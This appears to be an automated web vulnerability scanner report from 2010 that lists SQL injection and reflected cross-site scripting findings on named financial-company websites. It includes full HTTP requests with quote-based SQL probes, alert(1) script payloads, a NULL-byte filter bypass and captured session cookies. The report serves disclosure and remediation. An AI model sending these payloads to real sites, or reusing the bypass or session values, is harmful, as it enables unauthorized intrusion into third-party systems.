SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Remediation background
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defence is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defence is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defence may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defence to be bypassed.
Another often cited defence is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The userid parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the userid parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Microsoft SQL Server.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
HTTP/1.1 500 Internal Server Error Date: Tue, 14 Dec 2010 22:31:36 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 7320 Content-Type: text/html Cache-control: private
<HTML> <HEAD>
<script type="text/javascript" language="javascript"> // To Prevent XFS (Cross Frame Scripting) if (frames) { if (top.frames.length > 0) top.location.href ...[SNIP]... <font face="Arial" size=2>Unclosed quotation mark after the character string '' '.</font> ...[SNIP]...
The emailid parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the emailid parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Microsoft SQL Server.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
HTTP/1.1 500 Internal Server Error Date: Tue, 14 Dec 2010 23:10:03 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 7293 Content-Type: text/html Cache-control: private
<script type="text/javascript" language="javascript"> // To Prevent XFS (Cross Frame Scripting) if (frames) { if (top.frames.length > 0) top.location.href = self.location } ...[SNIP]... <font face="Arial" size=2>Unclosed quotation mark after the character string '''.</font> ...[SNIP]...
HTTP/1.1 500 Internal Server Error Date: Tue, 14 Dec 2010 23:10:05 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 7507 Content-Type: text/html Cache-control: private
<script type="text/javascript" language="javascript"> // To Prevent XFS (Cross Frame Scripting) if (frames) { if (top.frames.length > 0) top.location.href = self.location } ...[SNIP]...
1.3. http://www.sentinelinvestments.com/forms_literature.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.sentinelinvestments.com
Path:
/forms_literature.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /forms_literature.php/1' HTTP/1.1 Host: www.sentinelinvestments.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=22150713.1292366390.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=kt7om082sqntajked5kbc66va7; __utma=22150713.219559435.1292366390.1292366390.1292366390.1; __utmc=22150713; __utmb=22150713.1.10.1292366390;
Response
HTTP/1.1 200 OK Date: Tue, 14 Dec 2010 23:05:24 GMT Server: Apache/2.0.52 (Red Hat) X-Powered-By: PHP/5.1.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 150 Connection: close Content-Type: text/html; charset=UTF-8
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
1.4. http://www.sentinelinvestments.com/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.sentinelinvestments.com
Path:
/index.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /index.php/1' HTTP/1.1 Host: www.sentinelinvestments.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=22150713.1292366390.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=kt7om082sqntajked5kbc66va7; __utma=22150713.219559435.1292366390.1292366390.1292366390.1; __utmc=22150713; __utmb=22150713.1.10.1292366390;
Response 1
HTTP/1.1 200 OK Date: Tue, 14 Dec 2010 23:07:06 GMT Server: Apache/2.0.52 (Red Hat) X-Powered-By: PHP/5.1.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 150 Connection: close Content-Type: text/html; charset=UTF-8
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
Request 2
GET /index.php/1'' HTTP/1.1 Host: www.sentinelinvestments.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=22150713.1292366390.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=kt7om082sqntajked5kbc66va7; __utma=22150713.219559435.1292366390.1292366390.1292366390.1; __utmc=22150713; __utmb=22150713.1.10.1292366390;
Response 2
HTTP/1.1 200 OK Date: Tue, 14 Dec 2010 23:07:07 GMT Server: Apache/2.0.52 (Red Hat) X-Powered-By: PHP/5.1.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 12708
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head> <l ...[SNIP]...
1.5. http://www.sentinelinvestments.com/proxy_voting_information.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.sentinelinvestments.com
Path:
/proxy_voting_information.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /proxy_voting_information.php/1' HTTP/1.1 Host: www.sentinelinvestments.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=22150713.1292366390.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=kt7om082sqntajked5kbc66va7; __utma=22150713.219559435.1292366390.1292366390.1292366390.1; __utmc=22150713; __utmb=22150713.1.10.1292366390;
Response
HTTP/1.1 200 OK Date: Tue, 14 Dec 2010 23:07:12 GMT Server: Apache/2.0.52 (Red Hat) X-Powered-By: PHP/5.1.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 150 Connection: close Content-Type: text/html; charset=UTF-8
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
1.6. http://www.sentinelinvestments.com/sentinel_news.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.sentinelinvestments.com
Path:
/sentinel_news.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /sentinel_news.php/1' HTTP/1.1 Host: www.sentinelinvestments.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=22150713.1292366390.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=kt7om082sqntajked5kbc66va7; __utma=22150713.219559435.1292366390.1292366390.1292366390.1; __utmc=22150713; __utmb=22150713.1.10.1292366390;
Response
HTTP/1.1 200 OK Date: Tue, 14 Dec 2010 23:04:52 GMT Server: Apache/2.0.52 (Red Hat) X-Powered-By: PHP/5.1.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 150 Connection: close Content-Type: text/html; charset=UTF-8
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
1.7. http://www.sentinelinvestments.com/sentinel_news_detail.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.sentinelinvestments.com
Path:
/sentinel_news_detail.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /sentinel_news_detail.php/1' HTTP/1.1 Host: www.sentinelinvestments.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=22150713.1292366390.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=kt7om082sqntajked5kbc66va7; __utma=22150713.219559435.1292366390.1292366390.1292366390.1; __utmc=22150713; __utmb=22150713.1.10.1292366390;
Response
HTTP/1.1 200 OK Date: Tue, 14 Dec 2010 22:44:05 GMT Server: Apache/2.0.52 (Red Hat) X-Powered-By: PHP/5.1.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 150 Connection: close Content-Type: text/html; charset=UTF-8
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
The news_id parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the news_id parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /sentinel_news_detail.php?news_id=168' HTTP/1.1 Host: www.sentinelinvestments.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=22150713.1292366390.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=kt7om082sqntajked5kbc66va7; __utma=22150713.219559435.1292366390.1292366390.1292366390.1; __utmc=22150713; __utmb=22150713.1.10.1292366390;
Response
HTTP/1.1 200 OK Date: Tue, 14 Dec 2010 23:03:54 GMT Server: Apache/2.0.52 (Red Hat) X-Powered-By: PHP/5.1.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 6775 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head> <l ...[SNIP]... </h1> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
1.9. http://www.sentinelinvestments.com/sitemap.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.sentinelinvestments.com
Path:
/sitemap.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /sitemap.php/1' HTTP/1.1 Host: www.sentinelinvestments.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=22150713.1292366390.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=kt7om082sqntajked5kbc66va7; __utma=22150713.219559435.1292366390.1292366390.1292366390.1; __utmc=22150713; __utmb=22150713.1.10.1292366390;
Response
HTTP/1.1 200 OK Date: Tue, 14 Dec 2010 23:07:06 GMT Server: Apache/2.0.52 (Red Hat) X-Powered-By: PHP/5.1.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 150 Connection: close Content-Type: text/html; charset=UTF-8
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
2. Cross-site scripting (reflected)previous There are 5 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the thissite request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d790"><script>alert(1)</script>c61c13b2170 was submitted in the thissite parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /saa/accountreset/forgotpassword.asp?thissite=8d790"><script>alert(1)</script>c61c13b2170 HTTP/1.1 Host: www.nationallife.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: topOpen=ProdTools; ASP.NET_SessionId=hdnosti300a2ij55iiebfw45; ASPSESSIONIDSCCRAQDB=LEMPMPDDCIBBLAEHOGDMGOMD;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 14 Dec 2010 22:34:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 1951 Content-Type: text/html Cache-control: private
The value of the fromsite request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e3a6a"><script>alert(1)</script>3956d96f710 was submitted in the fromsite parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the thissite request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f18df"><script>alert(1)</script>49d0b807c55 was submitted in the thissite parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /saa/accountreset/forgotuserid.asp?thissite=f18df"><script>alert(1)</script>49d0b807c55 HTTP/1.1 Host: www.nationallife.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: topOpen=ProdTools; ASP.NET_SessionId=hdnosti300a2ij55iiebfw45; ASPSESSIONIDSCCRAQDB=LEMPMPDDCIBBLAEHOGDMGOMD;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 14 Dec 2010 22:34:45 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 2100 Content-Type: text/html Cache-control: private
The value of the report request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 73273'%3balert(1)//6ccf1ab914b was submitted in the report parameter. This input was echoed as 73273';alert(1)//6ccf1ab914b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /retail-shares?report=173273'%3balert(1)//6ccf1ab914b HTTP/1.1 Host: www.sentinelinvestments.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=22150713.1292366390.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=kt7om082sqntajked5kbc66va7; __utma=22150713.219559435.1292366390.1292366390.1292366390.1; __utmc=22150713; __utmb=22150713.1.10.1292366390;
Response
HTTP/1.1 200 OK Date: Tue, 14 Dec 2010 23:02:16 GMT Server: Apache/2.0.52 (Red Hat) X-Powered-By: PHP/5.1.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 114864
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head> <l ...[SNIP]... ength-1].split("?") //var shareFilter = ( loc2[0] == 'retail_shares.php' ? "A" : "I" ); var shareFilter = ( loc2[0] == 'retail-shares' ? "A" : "I" ); var perfFilter = "month"; var reportFilter = '173273';alert(1)//6ccf1ab914b';
The value of the news_id request parameter is copied into the HTML document as plain text between tags. The payload %00e19e9<script>alert(1)</script>1a3e3b430bc was submitted in the news_id parameter. This input was echoed as e19e9<script>alert(1)</script>1a3e3b430bc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /sentinel_news_detail.php?news_id=168%00e19e9<script>alert(1)</script>1a3e3b430bc HTTP/1.1 Host: www.sentinelinvestments.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=22150713.1292366390.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=kt7om082sqntajked5kbc66va7; __utma=22150713.219559435.1292366390.1292366390.1292366390.1; __utmc=22150713; __utmb=22150713.1.10.1292366390;
Response
HTTP/1.1 200 OK Date: Tue, 14 Dec 2010 23:03:52 GMT Server: Apache/2.0.52 (Red Hat) X-Powered-By: PHP/5.1.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 6816 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head> <l ...[SNIP]... </h1> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\0e19e9<script>alert(1)</script>1a3e3b430bc' at line 1
Report generated by XSS.CX at Tue Dec 14 17:36:00 CST 2010.